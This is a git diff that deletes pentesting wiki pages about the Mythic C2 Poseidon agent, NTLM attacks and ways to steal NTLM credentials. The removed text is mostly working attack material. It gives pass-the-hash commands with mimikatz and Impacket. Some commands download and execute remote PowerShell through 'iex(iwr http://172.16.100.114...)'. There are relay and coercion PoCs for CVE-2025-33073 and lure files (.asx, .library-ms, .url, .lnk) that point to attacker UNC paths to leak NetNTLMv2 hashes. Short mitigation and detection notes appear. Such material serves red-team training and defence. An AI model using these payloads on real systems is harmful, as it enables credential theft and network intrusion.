-- `clear`: Marks tasks as 'cleared' so they can't be picked up by agents. You can specify `all` to clear all tasks or `task Num` to clear a specific task.  
-
-
-## [Poseidon Agent](https://github.com/MythicAgents/poseidon)
-
-Poseidon is a Golang agent that compiles into **Linux and macOS** executables.
-
-```bash
-./mythic-cli install github https://github.com/MythicAgents/poseidon.git
-```
-
-### Current build/profile notes
-
-- Current Poseidon builds target Linux and macOS on both `x86_64` and `arm64`.
-- Supported output formats include native executables plus shared-library style outputs such as `dylib` and `so`.
-- Poseidon supports `http`, `websocket`, `tcp`, and `dynamichttp`, and current builders expose multi-egress settings such as `egress_order` and failover thresholds.
-- Build-time options such as `proxy_bypass` and `garble` are worth checking when you need either cleaner network behavior or extra Go binary obfuscation.
-- `pty` is one of the most useful newer-quality-of-life commands for Linux/macOS
-  operations because it opens an interactive PTY and can expose a Mythic-side
-  port for fuller terminal interaction without resorting to the older `sleep 0`
-  + SOCKS workaround.
-- Poseidon's current docs are especially interesting for macOS-heavy
-  tradecraft: `jxa` executes JavaScript for Automation in-memory,
-  `screencapture` grabs the logged-in desktop, `clipboard_monitor` streams
-  pasteboard changes, `execute_library` loads a local dylib and calls a
-  function from it, and `libinject` forces a remote process to load an on-disk
-  dylib.
-- For long-running jobs, remember that Poseidon executes post-exploitation work
-  in goroutines/threads that are cooperative rather than hard-killable. The
-  docs also explicitly note that there is currently no built-in agent
-  obfuscation, so build/profile-level tradecraft matters more than with heavily
-  obfuscated commercial implants.
-
-For macOS-specific tradecraft around Mythic-backed operations, JAMF abuse, or MDM-as-C2 ideas, check [macOS Red Teaming](../macos-hardening/macos-red-teaming/README.md).
-
-When used on Linux or macOS it has some interesting commands:
-
-### Common actions
-
-- `cat`: Print the contents of a file
-- `cd`: Change the current working directory
-- `chmod`: Change the permissions of a file
-- `config`: View current config and host information
-- `cp`: Copy a file from one location to another
-- `curl`: Execute a single web request with optional headers and method
-- `upload`: Upload a file to the target
-- `download`: Download a file from the target system to the local machine
-- And many more
-
-### Search Sensitive Information
-
-- `triagedirectory`: Find interesting files within a directory on a host, such as sensitive files or credentials.
-- `getenv`: Get all of the current environment variables.
-
-### macOS-specific tradecraft
-
-- `jxa`: Execute JavaScript for Automation in-memory via `OSAScript`, which is
-  useful for native macOS post-exploitation without dropping separate script
-  files.
-- `clipboard_monitor`: Poll the pasteboard and report changes back to Mythic,
-  which is handy for credential/token theft workflows that rely on copy/paste.
-- `screencapture`: Capture the user's desktop on macOS.
-- `execute_library`: Load a dylib from disk and call a specific exported function.
-- `libinject`: Inject a shellcode stub that forces another macOS process to load a dylib from disk.
-- `persist_launchd`: Create LaunchAgent / LaunchDaemon persistence directly from the agent.
-
-### Move laterally
-
-- `ssh`: SSH to host using the designated credentials and open a PTY without spawning ssh.
-- `sshauth`: SSH to specified host(s) using the designated credentials. You can also use this to execute a specific command on the remote hosts via SSH or use it to SCP files.
-- `link_tcp`: Link to another agent over TCP, allowing for direct communication between agents.
-- `link_webshell`: Link to an agent using the webshell P2P profile, allowing for remote access to the agent's web interface.
-- `rpfwd`: Start or Stop a Reverse Port Forward, allowing for remote access to services on the target network.
-- `socks`: Start or Stop a SOCKS5 proxy on the target network, allowing for tunneling of traffic through the compromised host. Compatible with tools like proxychains.
-- `portscan`: Scan host(s) for open ports, useful for identifying potential targets for lateral movement or further attacks.
-
-### Process execution
-
-- `shell`: Execute a single shell command via /bin/sh, allowing for direct execution of commands on the target system.
-- `run`: Execute a command from disk with arguments, allowing for the execution of binaries or scripts on the target system.
-- `pty`: Open up an interactive PTY, allowing for direct interaction with the shell on the target system.
-
-
-
-
-## References
-
-- [Mythic Community Agent Feature Matrix](https://mythicmeta.github.io/overview/agent_matrix.html)
-- [Apollo README](https://github.com/MythicAgents/Apollo/blob/master/README.md)
-- [Mythic v3.2 Highlights: Interactive Tasking, Push C2, and Dynamic File Browser](https://posts.specterops.io/mythic-v3-2-highlights-interactive-tasking-push-c2-and-dynamic-file-browser-7035065e2b3d)
-- [Browser Scripts - Mythic Documentation](https://docs.mythic-c2.net/operational-pieces/browser-scripts)
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md
deleted file mode 100644
index b679dd0467d..00000000000
--- a/src/windows-hardening/ntlm/README.md
+++ /dev/null
@@ -1,355 +0,0 @@
-# NTLM
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-## Basic Information
-
-In environments where **Windows XP and Server 2003** are in operation, LM (Lan Manager) hashes are utilized, although it's widely recognized that these can be easily compromised. A particular LM hash, `AAD3B435B51404EEAAD3B435B51404EE`, indicates a scenario where LM is not employed, representing the hash for an empty string.
-
-By default, the **Kerberos** authentication protocol is the primary method used. NTLM (NT LAN Manager) steps in under specific circumstances: absence of Active Directory, non-existence of the domain, malfunctioning of Kerberos due to improper configuration, or when connections are attempted using an IP address rather than a valid hostname.
-
-The presence of the **"NTLMSSP"** header in network packets signals an NTLM authentication process.
-
-Support for the authentication protocols - LM, NTLMv1, and NTLMv2 - is facilitated by a specific DLL located at `%windir%\Windows\System32\msv1\_0.dll`.
-
-**Key Points**:
-
-- LM hashes are vulnerable and an empty LM hash (`AAD3B435B51404EEAAD3B435B51404EE`) signifies its non-use.
-- Kerberos is the default authentication method, with NTLM used only under certain conditions.
-- NTLM authentication packets are identifiable by the "NTLMSSP" header.
-- LM, NTLMv1, and NTLMv2 protocols are supported by the system file `msv1\_0.dll`.
-
-## LM, NTLMv1 and NTLMv2
-
-You can check and configure which protocol will be used:
-
-### GUI
-
-Execute _secpol.msc_ -> Local policies -> Security Options -> Network Security: LAN Manager authentication level. There are 6 levels (from 0 to 5).
-
-![LM, NTLMv1 and NTLMv2 - GUI: Execute secpol.msc - Local policies - Security Options - Network Security: LAN Manager authentication level. There are 6 levels (from 0 to 5)](<../../images/image (919).png>)
-
-### Registry
-
-This will set the level 5:
-
-```
-reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f
-```
-
-Possible values:
-
-```
-0 - Send LM & NTLM responses
-1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated
-2 - Send NTLM response only
-3 - Send NTLMv2 response only
-4 - Send NTLMv2 response only, refuse LM
-5 - Send NTLMv2 response only, refuse LM & NTLM
-```
-
-## Basic NTLM Domain authentication Scheme
-
-1. The **user** introduces his **credentials**
-2. The client machine **sends an authentication request** sending the **domain name** and the **username**
-3. The **server** sends the **challenge**
-4. The **client encrypts** the **challenge** using the hash of the password as key and sends it as response
-5. The **server sends** to the **Domain controller** the **domain name, the username, the challenge and the response**. If there **isn't** an Active Directory configured or the domain name is the name of the server, the credentials are **checked locally**.
-6. The **domain controller checks if everything is correct** and sends the information to the server
-
-The **server** and the **Domain Controller** are able to create a **Secure Channel** via **Netlogon** server as the Domain Controller know the password of the server (it is inside the **NTDS.DIT** db).
-
-### Local NTLM authentication Scheme
-
-The authentication is as the one mentioned **before but** the **server** knows the **hash of the user** that tries to authenticate inside the **SAM** file. So, instead of asking the Domain Controller, the **server will check itself** if the user can authenticate.
-
-### NTLMv1 Challenge
-
-The **challenge length is 8 bytes** and the **response is 24 bytes** long.
-
-The **hash NT (16bytes)** is divided in **3 parts of 7bytes each** (7B + 7B + (2B+0x00\*5)): the **last part is filled with zeros**. Then, the **challenge** is **ciphered separately** with each part and the **resulting** ciphered bytes are **joined**. Total: 8B + 8B + 8B = 24Bytes.
-
-**Problems**:
-
-- Lack of **randomness**
-- The 3 parts can be **attacked separately** to find the NT hash
-- **DES is crackable**
-- The 3º key is composed always by **5 zeros**.
-- Given the **same challenge** the **response** will be **same**. So, you can give as a **challenge** to the victim the string "**1122334455667788**" and attack the response used **precomputed rainbow tables**.
-
-### NTLMv1 attack
-
-Nowadays is becoming less common to find environments with Unconstrained Delegation configured, but this doesn't mean you can't **abuse a Print Spooler service** configured.
-
-You could abuse some credentials/sessions you already have on the AD to **ask the printer to authenticate** against some **host under your control**. Then, using `metasploit auxiliary/server/capture/smb` or `responder` you can **set the authentication challenge to 1122334455667788**, capture the authentication attempt, and if it was done using **NTLMv1** you will be able to **crack it**.\
-If you are using `responder` you could try to **use the flag `--lm`** to try to **downgrade** the **authentication**.\
-_Note that for this technique the authentication must be performed using NTLMv1 (NTLMv2 is not valid)._
-
-Remember that the printer will use the computer account during the authentication, and computer accounts use **long and random passwords** that you **probably won't be able to crack** using common **dictionaries**. But the **NTLMv1** authentication **uses DES** ([more info here](#ntlmv1-challenge)), so using some services specially dedicated to cracking DES you will be able to crack it (you could use [https://crack.sh/](https://crack.sh) or [https://ntlmv1.com/](https://ntlmv1.com) for example).
-
-### NTLMv1 attack with hashcat
-
-NTLMv1 can also be broken with the NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) which formats NTLMv1 messages im a method that can be broken with hashcat.
-
-The command
-
-```bash
-python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
-```
-
-would output the below:
-
-```bash
-['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
-
-Hostname: DUSTIN-5AA37877
-Username: hashcat
-Challenge: 1122334455667788
-LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
-NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
-CT1: 727B4E35F947129E
-CT2: A52B9CDEDAE86934
-CT3: BB23EF89F50FC595
-
-To Calculate final 4 characters of NTLM hash use:
-./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
-
-To crack with hashcat create a file with the following contents:
-727B4E35F947129E:1122334455667788
-A52B9CDEDAE86934:1122334455667788
-
-To crack with hashcat:
-./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
-
-To Crack with crack.sh use the following token
-NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
-```
-
-Create a file with the contents of:
-
-```bash
-727B4E35F947129E:1122334455667788
-A52B9CDEDAE86934:1122334455667788
-```
-
-Run hashcat (distributed is best through a tool such as hashtopolis) as this will take several days otherwise.
-
-```bash
-./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
-```
-
-In this case we know the password to this is password so we are going to cheat for demo purposes:
-
-```bash
-python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
-DESKEY1: b55d6d04e67926
-DESKEY2: bcba83e6895b9d
-
-echo b55d6d04e67926>>des.cand
-echo bcba83e6895b9d>>des.cand
-```
-
-We now need to use the hashcat-utilities to convert the cracked des keys into parts of the NTLM hash:
-
-```bash
-./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753
-b4b9b02e6f09a9 # this is part 1
-
-./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
-bd760f388b6700 # this is part 2
-```
-
-Ginally the last part:
-
-```bash
-./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
-
-586c # this is the last part
-```
-
-Combine them together:
-
-```bash
-NTHASH=b4b9b02e6f09a9bd760f388b6700586c
-```
-
-### NTLMv2 Challenge
-
-The **challenge length is 8 bytes** and **2 responses are sent**: One is **24 bytes** long and the length of the **other** is **variable**.
-
-**The first response** is created by ciphering using **HMAC_MD5** the **string** composed by the **client and the domain** and using as **key** the **hash MD4** of the **NT hash**. Then, the **result** will by used as **key** to cipher using **HMAC_MD5** the **challenge**. To this, **a client challenge of 8 bytes will be added**. Total: 24 B.
-
-The **second response** is created using **several values** (a new client challenge, a **timestamp** to avoid **replay attacks**...)
-
-If you have a **pcap that has captured a successful authentication process**, you can follow this guide to get the domain, username , challenge and response and try to creak the password: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
-
-## Pass-the-Hash
-
-**Once you have the hash of the victim**, you can use it to **impersonate** it.\
-You need to use a **tool** that will **perform** the **NTLM authentication using** that **hash**, **or** you could create a new **sessionlogon** and **inject** that **hash** inside the **LSASS**, so when any **NTLM authentication is performed**, that **hash will be used.** The last option is what mimikatz does.
-
-**Please, remember that you can perform Pass-the-Hash attacks also using Computer accounts.**
-
-### **Mimikatz**
-
-**Needs to be run as administrator**
-
-```bash
-Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
-```
-
-This will launch a process that will belongs to the users that have launch mimikatz but internally in LSASS the saved credentials are the ones inside the mimikatz parameters. Then, you can access to network resources as if you where that user (similar to the `runas /netonly` trick but you don't need to know the plain-text password).
-
-### Pass-the-Hash from linux
-
-You can obtain code execution in Windows machines using Pass-the-Hash from Linux.\
-[**Access here to learn how to do it.**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md)
-
-### Impacket Windows compiled tools
-
-You can download[ impacket binaries for Windows here](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries).
-
-- **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
-- **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
-- **atexec.exe** (In this case you need to specify a command, cmd.exe and powershell.exe are not valid to obtain an interactive shell)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
-- There are several more Impacket binaries...
-
-### Invoke-TheHash
-
-You can get the powershell scripts from here: [https://github.com/Kevin-Robertson/Invoke-TheHash](https://github.com/Kevin-Robertson/Invoke-TheHash)
-
-#### Invoke-SMBExec
-
-```bash
-Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose
-```
-
-#### Invoke-WMIExec
-
-```bash
-Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose
-```
-
-#### Invoke-SMBClient
-
-```bash
-Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose
-```
-
-#### Invoke-SMBEnum
-
-```bash
-Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose
-```
-
-#### Invoke-TheHash
-
-This function is a **mix of all the others**. You can pass **several hosts**, **exclude** someones and **select** the **option** you want to use (_SMBExec, WMIExec, SMBClient, SMBEnum_). If you select **any** of **SMBExec** and **WMIExec** but you **don't** give any _**Command**_ parameter it will just **check** if you have **enough permissions**.
-
-```
-Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty    h F6F38B793DB6A94BA04A52F1D3EE92F0
-```
-
-### [Evil-WinRM Pass the Hash](../../network-services-pentesting/5985-5986-pentesting-winrm.md#using-evil-winrm)
-
-### Windows Credentials Editor (WCE)
-
-**Needs to be run as administrator**
-
-This tool will do the same thing as mimikatz (modify LSASS memory).
-
-```
-wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
-```
-
-### Manual Windows remote execution with username and password
-
-
-{{#ref}}
-../lateral-movement/
-{{#endref}}
-
-## Extracting credentials from a Windows Host
-
-**For more information about** [**how to obtain credentials from a Windows host you should read this page**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.**
-
-## Internal Monologue attack
-
-The Internal Monologue Attack is a stealthy credential extraction technique that allows an attacker to retrieve NTLM hashes from a victim's machine **without interacting directly with the LSASS process**. Unlike Mimikatz, which reads hashes directly from memory and is frequently blocked by endpoint security solutions or Credential Guard, this attack leverages **local calls to the NTLM authentication package (MSV1_0) via the Security Support Provider Interface (SSPI)**. The attacker first **downgrades NTLM settings** (e.g., LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) to ensure that NetNTLMv1 is permitted. They then impersonate existing user tokens obtained from running processes and trigger NTLM authentication locally to generate NetNTLMv1 responses using a known challenge.
-
-After capturing these NetNTLMv1 responses, the attacker can quickly recover the original NTLM hashes using **precomputed rainbow tables**, enabling further Pass-the-Hash attacks for lateral movement. Crucially, the Internal Monologue Attack remains stealthy because it doesn't generate network traffic, inject code, or trigger direct memory dumps, making it harder for defenders to detect compared to traditional methods like Mimikatz.
-
-If NetNTLMv1 is not accepted—due to enforced security policies, then the attacker may fail to retrieve a NetNTLMv1 response.
-
-To handle this case, the Internal Monologue tool was updated: It dynamically acquires a server token using `AcceptSecurityContext()` to still **capture NetNTLMv2 responses** if NetNTLMv1 fails. While NetNTLMv2 is much harder to crack, it still opens a path for relay attacks or offline brute-force in limited cases.
-
-The PoC can be found in **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**.
-
-## NTLM Relay and Responder
-
-**Read more detailed guide on how to perform those attacks here:**
-
-
-{{#ref}}
-../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
-{{#endref}}
-
-## Parse NTLM challenges from a network capture
-
-**You can use** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
-
-## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073)
-
-Windows contains several mitigations that try to prevent *reflection* attacks where an NTLM (or Kerberos) authentication that originates from a host is relayed back to the **same** host to gain SYSTEM privileges.  
-
-Microsoft broke most public chains with MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) and later patches, however **CVE-2025-33073** shows that the protections can still be bypassed by abusing how the **SMB client truncates Service Principal Names (SPNs)** that contain *marshalled* (serialized) target-info.
-
-### TL;DR of the bug
-1. An attacker registers a **DNS A-record** whose label encodes a marshalled SPN – e.g.
-   `srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
-2. The victim is coerced to authenticate to that hostname (PetitPotam, DFSCoerce, etc.).
-3. When the SMB client passes the target string `cifs/srv11UWhRCAAAAA…` to `lsasrv!LsapCheckMarshalledTargetInfo`, the call to `CredUnmarshalTargetInfo` **strips** the serialized blob, leaving **`cifs/srv1`**.
-4. `msv1_0!SspIsTargetLocalhost` (or the Kerberos equivalent) now considers the target to be *localhost* because the short host part matches the computer name (`SRV1`).
-5. Consequently, the server sets `NTLMSSP_NEGOTIATE_LOCAL_CALL` and injects **LSASS’ SYSTEM access-token** into the context (for Kerberos a SYSTEM-marked subsession key is created).
-6. Relaying that authentication with `ntlmrelayx.py` **or** `krbrelayx.py` gives full SYSTEM rights on the same host.
-
-### Quick PoC
-```bash
-# Add malicious DNS record
-dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
-          -a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
-          -d 10.10.10.50
-
-# Trigger authentication
-PetitPotam.py -u user -p pass -d DOMAIN \
-             srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL
-
-# Relay listener (NTLM)
-ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
-
-# Relay listener (Kerberos) – remove NTLM mechType first
-krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
-```
-
-### Patch & Mitigations
-* KB patch for **CVE-2025-33073** adds a check in `mrxsmb.sys::SmbCeCreateSrvCall` that blocks any SMB connection whose target contains marshalled info (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`).
-* Enforce **SMB signing** to prevent reflection even on unpatched hosts.
-* Monitor DNS records resembling `*<base64>...*` and block coercion vectors (PetitPotam, DFSCoerce, AuthIP...).
-
-### Detection ideas
-* Network captures with `NTLMSSP_NEGOTIATE_LOCAL_CALL` where client IP ≠ server IP.
-* Kerberos AP-REQ containing a subsession key and a client principal equal to the hostname.
-* Windows Event 4624/4648 SYSTEM logons immediately followed by remote SMB writes from the same host.
-
-For the **March 2026** local reflection variant that abuses **SMB arbitrary ports** and **TCP connection reuse** to reach `NT AUTHORITY\SYSTEM`, see:
-
-{{#ref}}
-../windows-local-privilege-escalation/local-ntlm-reflection-via-smb-arbitrary-port.md
-{{#endref}}
-
-## References
-* [NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
-* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md b/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md
deleted file mode 100644
index 201d3e4551d..00000000000
--- a/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md
+++ /dev/null
@@ -1,228 +0,0 @@
-# Places to steal NTLM creds
-
-{{#include ../../banners/hacktricks-training.md}}
-
-**Check all the great ideas from [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) from the download of a microsoft word file online to the ntlm leaks source: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md and [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
-
-### Writable SMB share + Explorer-triggered UNC lures (ntlm_theft/SCF/LNK/library-ms/desktop.ini)
-
-If you can **write to a share that users or scheduled jobs browse in Explorer**, drop files whose metadata points to your UNC (e.g. `\\ATTACKER\share`). Rendering the folder triggers **implicit SMB authentication** and leaks a **NetNTLMv2** to your listener.
-
-1. **Generate lures** (covers SCF/URL/LNK/library-ms/desktop.ini/Office/RTF/etc.)
-
-```bash
-git clone https://github.com/Greenwolf/ntlm_theft && cd ntlm_theft
-uv add --script ntlm_theft.py xlsxwriter
-uv run ntlm_theft.py -g all -s <attacker_ip> -f lure
-```
-
-2. **Drop them on the writable share** (any folder the victim opens):
-
-```bash
-smbclient //victim/share -U 'guest%'
-cd transfer\
-prompt off
-mput lure/*
-```
-
-3. **Listen and crack**:
-
-```bash
-sudo responder -I <iface>          # capture NetNTLMv2
-hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt  # autodetects mode 5600
-```
-
-Windows may hit several files at once; anything Explorer previews (`BROWSE TO FOLDER`) requires no clicks.
-
-### Windows Media Player playlists (.ASX/.WAX)
-
-If you can get a target to open or preview a Windows Media Player playlist you control, you can leak Net‑NTLMv2 by pointing the entry to a UNC path. WMP will attempt to fetch the referenced media over SMB and will authenticate implicitly.
-
-Example payload:
-
-```xml
-<asx version="3.0">
-  <title>Leak</title>
-  <entry>
-    <title></title>
-    <ref href="file://ATTACKER_IP\\share\\track.mp3" />
-  </entry>
-</asx>
-```
-
-Collection and cracking flow:
-
-```bash
-# Capture the authentication
-sudo Responder -I <iface>
-
-# Crack the captured NetNTLMv2
-hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
-```
-
-### ZIP-embedded .library-ms NTLM leak (CVE-2025-24071/24055)
-
-Windows Explorer insecurely handles .library-ms files when they are opened directly from within a ZIP archive. If the library definition points to a remote UNC path (e.g., \\attacker\share), simply browsing/launching the .library-ms inside the ZIP causes Explorer to enumerate the UNC and emit NTLM authentication to the attacker. This yields a NetNTLMv2 that can be cracked offline or potentially relayed.
-
-Minimal .library-ms pointing to an attacker UNC
-
-```xml
-<?xml version="1.0" encoding="UTF-8"?>
-<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
-  <version>6</version>
-  <name>Company Documents</name>
-  <isLibraryPinned>false</isLibraryPinned>
-  <iconReference>shell32.dll,-235</iconReference>
-  <templateInfo>
-    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
-  </templateInfo>
-  <searchConnectorDescriptionList>
-    <searchConnectorDescription>
-      <simpleLocation>
-        <url>\\10.10.14.2\share</url>
-      </simpleLocation>
-    </searchConnectorDescription>
-  </searchConnectorDescriptionList>
-</libraryDescription>
-```
-
-Operational steps
-- Create the .library-ms file with the XML above (set your IP/hostname).
-- Zip it (on Windows: Send to → Compressed (zipped) folder) and deliver the ZIP to the target.
-- Run an NTLM capture listener and wait for the victim to open the .library-ms from inside the ZIP.
-
-
-### Outlook calendar reminder sound path (CVE-2023-23397) – zero‑click Net‑NTLMv2 leak
-
-Microsoft Outlook for Windows processed the extended MAPI property PidLidReminderFileParameter in calendar items. If that property points to a UNC path (e.g., \\attacker\share\alert.wav), Outlook would contact the SMB share when the reminder fires, leaking the user’s Net‑NTLMv2 without any click. This was patched on March 14, 2023, but it’s still highly relevant for legacy/untouched fleets and for historical incident response.
-
-Quick exploitation with PowerShell (Outlook COM):
-
-```powershell
-# Run on a host with Outlook installed and a configured mailbox
-IEX (iwr -UseBasicParsing https://raw.githubusercontent.com/api0cradle/CVE-2023-23397-POC-Powershell/main/CVE-2023-23397.ps1)
-Send-CalendarNTLMLeak -recipient user@example.com -remotefilepath "\\10.10.14.2\share\alert.wav" -meetingsubject "Update" -meetingbody "Please accept"
-# Variants supported by the PoC include \\host@80\file.wav and \\host@SSL@443\file.wav
-```
-
-Listener side:
-
-```bash
-sudo responder -I eth0  # or impacket-smbserver to observe connections
-```
-
-Notes
-- A victim only needs Outlook for Windows running when the reminder triggers.
-- The leak yields Net‑NTLMv2 suitable for offline cracking or relay (not pass‑the‑hash).
-
-
-### .LNK/.URL icon-based zero‑click NTLM leak (CVE‑2025‑50154 – bypass of CVE‑2025‑24054)
-
-Windows Explorer renders shortcut icons automatically. Recent research showed that even after Microsoft’s April 2025 patch for UNC‑icon shortcuts, it was still possible to trigger NTLM authentication with no clicks by hosting the shortcut target on a UNC path and keeping the icon local (patch bypass assigned CVE‑2025‑50154). Merely viewing the folder causes Explorer to retrieve metadata from the remote target, emitting NTLM to the attacker SMB server.
-
-Minimal Internet Shortcut payload (.url):
-
-```ini
-[InternetShortcut]
-URL=http://intranet
-IconFile=\\10.10.14.2\share\icon.ico
-IconIndex=0
-```
-
-Program Shortcut payload (.lnk) via PowerShell:
-
-```powershell
-$lnk = "$env:USERPROFILE\Desktop\lab.lnk"
-$w = New-Object -ComObject WScript.Shell
-$sc = $w.CreateShortcut($lnk)
-$sc.TargetPath = "\\10.10.14.2\share\payload.exe"  # remote UNC target
-$sc.IconLocation = "C:\\Windows\\System32\\SHELL32.dll" # local icon to bypass UNC-icon checks
-$sc.Save()
-```
-
-Delivery ideas
-- Drop the shortcut in a ZIP and get the victim to browse it.
-- Place the shortcut on a writable share the victim will open.
-- Combine with other lure files in the same folder so Explorer previews the items.
-
-### No-click .LNK NTLM leak via ExtraData icon path (CVE‑2026‑25185)
-
-Windows loads `.lnk` metadata during **view/preview** (icon rendering), not only on execution. CVE‑2026‑25185 shows a parsing path where **ExtraData** blocks cause the shell to resolve an icon path and touch the filesystem **during load**, emitting outbound NTLM when the path is remote.
-
-Key trigger conditions (observed in `CShellLink::_LoadFromStream`):
-- Include **DARWIN_PROPS** (`0xa0000006`) in ExtraData (gate to icon update routine).
-- Include **ICON_ENVIRONMENT_PROPS** (`0xa0000007`) with **TargetUnicode** populated.
-- The loader expands environment variables in `TargetUnicode` and calls `PathFileExistsW` on the resulting path.
-
-If `TargetUnicode` resolves to a UNC path (e.g., `\\attacker\share\icon.ico`), **merely viewing a folder** containing the shortcut causes outbound authentication. The same load path can also be hit by **indexing** and **AV scanning**, making it a practical no‑click leak surface.
-
-Research tooling (parser/generator/UI) is available in the **LnkMeMaybe** project to build/inspect these structures without using the Windows GUI.
-
-
-### WebDAV auth coercion / credential validation via `davclnt.dll,DavSetCookie`
-
-The native **WebDAV client** can be abused to force the current logon session to authenticate to an arbitrary **HTTP/WebDAV** endpoint:
-
-```cmd
-rundll32.exe davclnt.dll,DavSetCookie <HOST> http://<TARGET>/C$/Windows
-```
-
-Why this is useful:
-- Against an **attacker-controlled WebDAV server**, it can trigger **NTLM over HTTP** without dropping a custom client.
-- Against **internal hosts**, it is a quiet way to **validate where stolen credentials are accepted** before moving laterally.
-- The command is a good alternative when **SMB egress is filtered** but **HTTP/WebDAV** is still reachable.
-
-Operational notes:
-- The **WebClient** service must be running on the source host.
-- `rundll32.exe` loads `davclnt.dll` and makes Windows handle the WebDAV authentication using the **current user's credentials**.
-- If you point it to infrastructure you control, use an NTLM-aware HTTP listener/relay such as:
-
-```bash
-# Capture or relay NTLM over HTTP/WebDAV
-ntlmrelayx.py -t smb://<TARGET> --http-port 80
-```
-
